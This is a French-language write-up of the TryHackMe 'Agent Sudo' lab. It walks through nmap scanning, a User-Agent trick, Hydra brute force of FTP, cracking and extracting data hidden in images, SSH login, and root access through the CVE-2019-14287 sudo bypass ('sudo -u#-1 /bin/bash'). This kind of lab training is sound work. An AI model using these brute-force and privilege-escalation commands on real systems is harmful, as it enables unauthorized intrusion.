
Write-up du CTF Sudo Agent (TryHackMe), avec énumération, exploitation web, stéganographie, SSH et élévation de privilèges via CVE-2019-14287.

Write-up du Sudo Agent CTF (TryHackMe), avec énumération, exploitation web, stéganographie, SSH et privilege escalation via CVE-2019-14287.
| Élément | Information |
|---|---|
| Plateforme | TryHackMe |
| Système | Linux |
| Difficulté | Easy |
| Objectif | Web exploitation, FTP, SSH, stéganographie et privilege escalation |
| CVE | CVE-2019-14287 |
| Statut | Completed ✅ |
Reconhecimento
↓
Enumeração Web
↓
User-Agent
↓
FTP
↓
Análise de arquivos
↓
Esteganografia
↓
Credenciais
↓
SSH
↓
Privilege Escalation
↓
CVE-2019-14287
↓
Root 👑
Nmap
Hydra
User-Agent Switcher
FTP
Binwalk
John the Ripper
7-Zip
Steghide
SSH
Linux Commands
Browser
La première étape de la phase de reconnaissance a consisté à identifier les ports ouverts. J'ai réalisé le scan de ports avec nmap :
nmap -sV -sC sudoagent
21/tcp open ftp
22/tcp open ssh
80/tcp open http
En analysant l'application web, je suis tombé sur le message suivant :
L'application web affichait un message de l'Agent R indiquant que l'accès dépendait d'un User-Agent spécifique.
J'ai modifié le User-Agent, en utilisant le User-Agent switcher, pour REDACTED, et il a été possible de visualiser le message :
Le message a révélé des informations sur l'un des agents et indiquait que son mot de passe était faible.
Avec l'utilisateur trouvé et sachant que son mot de passe était faible, j'ai réalisé un brute force avec hydra :
hydra -l user -P /usr/share/wordlists/rockyou.txt ftp://sudoagent/
L'hydra a réussi à renvoyer le mot de passe de l'agentC avec succès !
[21][ftp] host: sudoagent login: c$$$$ password: REDACTED
Les identifiants obtenus ont permis d'accéder au service FTP.
Sur le FTP, des fichiers texte et des images ont été trouvés.
-rw-r--r-- 1 0 0 217 Oct 29 2019 To_agentJ.txt
-rw-r--r-- 1 0 0 33143 Oct 29 2019 cute-alien.jpg
-rw-r--r-- 1 0 0 34842 Oct 29 2019 cutie.png
J'ai téléchargé les fichiers pour les analyser.
J'ai commencé l'analyse en visualisant le contenu du fichier texte To_agentJ.txt :
cat To_agentJ.txt
Dear agent J,
All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
From,
Agent C
Le fichier est un message envoyé par l'agent C à l'agent J. Nous avons découvert qu'il existe un identifiant caché dans l'un des fichiers image.
Avec l'outil Binwalk, j'ai identifié que le fichier cutie.png contenait une archive ZIP chiffrée, dont le contenu était le fichier To_agentR.txt.
binwalk cutie.png
34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820 0x8804 End of Zip archive, footer length: 22
Pour lire le fichier, je dois l'extraire et découvrir son mot de passe. J'ai procédé à l'extraction du fichier :
dd if=cutie.png of=arquivo.zip bs=1 skip=34562
Binwalk a indiqué que le fichier ZIP commençait à l'offset 34562. J'ai utilisé cette valeur pour extraire à partir de ce point et générer le fichier ZIP séparément.
Et l'extraction du hash :
zip2john *.zip > hash.txt
Et maintenant, nous allons découvrir le mot de passe avec l'aide de John The Ripper :
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
REDACTED (arquivo.zip/To_agentR.txt)
Après avoir décompressé le fichier, j'ai utilisé le mot de passe trouvé :
cat To_agentR.txt
Agent C,
We need to send the picture to 'QXJlYTUx' as soon as possible!
By,
Agent R
Nous avons un code en base64 que nous devons décoder
echo "QXJlYTUx" | base64 -d
REDACTED
Après avoir obtenu le mot de passe utilisé dans la stéganographie, j'ai utilisé Steghide pour extraire le message caché dans l'image cute-alien.jpg.
steghide extract -sf cute-alien.jpg
Enter passphrase:
wrote extracted data to "message.txt"
Le message décodé a été envoyé vers le fichier message.txt
cat message.txt
Hi j$$$$,
Glad you find this message. Your login password is REDACTED!
Don't ask me why the password look cheesy, ask agent R who set this password for you.
Your buddy,
c$$$$
Le message contenait le nom de l'agent J et son mot de passe.
J'ai utilisé les identifiants de l'agent J pour effectuer un accès via SSH. Après l'accès réussi, j'ai localisé le fichier nommé user_flag.txt et un autre fichier image.
ls
Alien_autospy.jpg user_flag.txt
Après avoir obtenu l'accès via SSH, j'ai trouvé le fichier Alien_autospy.jpg.
J'ai réalisé une analyse de l'image puis utilisé des techniques d'OSINT pour identifier l'origine et le contexte de la photographie.
Grâce à une recherche dans des sources publiques, il a été possible d'associer l'image au cas.

Avant de tenter d'élever les privilèges, j'ai vérifié les permissions sudo de l'utilisateur actuel :
sudo -l
Matching Defaults entries for j$$$$ on agent-sudo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User j$$$$ may run the following commands on agent-sudo:
(ALL, !root) /bin/bash
La configuration présentée par sudo -l était vulnérable à CVE-2019-14287.
Cette vulnérabilité permet de contourner certaines restrictions d'exécution de sudo en utilisant un UID spécial, comme -1, qui peut être interprété de manière équivalente à l'utilisateur root dans les versions vulnérables.
Il a été possible d'élever les privilèges en spécifiant l'utilisateur comme -1 :
sudo -u#-1 /bin/bash
root@agent-sudo:~#
La commande a abouti à un shell avec des privilèges root.
En abusant des privilèges obtenus, j'ai navigué jusqu'au dossier root et accédé au fichier root.txt où j'ai trouvé les deux dernières flags :
cat root.txt
To Mr.hacker,
Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine.
Your flag is
REDACTED
By,
REDACTED a.k.a Agent R